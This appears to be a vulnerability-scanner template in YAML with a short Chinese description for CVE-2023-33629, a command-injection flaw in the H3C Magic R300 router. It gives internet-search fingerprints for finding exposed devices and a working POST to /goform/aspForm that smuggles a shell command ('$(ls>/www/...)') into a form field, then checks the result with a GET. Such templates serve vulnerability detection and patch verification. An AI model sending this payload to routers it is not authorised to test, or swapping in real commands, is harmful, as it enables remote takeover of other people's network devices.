漏洞描述
H3C Magic R300是中国新华三(H3C)公司的一款无线路由器。H3C Magic R300版本R300-2100MV100R004中包含的堆栈溢出漏洞。该漏洞通过DeltriggerList接口在/goform/aspForm处发生。
FOFA: app="H3C-Ent-Router"
HUNTER: app.name="H3C Router Management"
id: CVE-2023-33629
info:
name: H3C Magic R300-2100M RCE
author: zan8in
severity: critical
verified: true
description: |
H3C Magic R300是中国新华三(H3C)公司的一款无线路由器。H3C Magic R300版本R300-2100MV100R004中包含的堆栈溢出漏洞。该漏洞通过DeltriggerList接口在/goform/aspForm处发生。
FOFA: app="H3C-Ent-Router"
HUNTER: app.name="H3C Router Management"
affected: H3C Magic R300 R300-2100MV100R004
reference:
- https://mp.weixin.qq.com/s/c8FeLqNLv6kP0B0qy7Nx2Q
- https://mp.weixin.qq.com/s/sWQdB39akVlFHDepZO2mrA
tags: cve,cve2023,h3c,rce
created: 2023/07/26
set:
randstr: randomLowercase(6)
rules:
r0:
request:
method: POST
path: /goform/aspForm
body: "CMD=DelL2tpLNSList&GO=vpn_l2tp_session.asp¶m=1; $(ls>/www/{{randstr}});"
expression: response.status == 302 && response.body.bcontains(b'do_cmd.asp')
r1:
request:
method: GET
path: /{{randstr}}
expression: response.status == 200 && response.body.bcontains(b'www') && response.body.bcontains(b'www_multi')
expression: r0() && r1()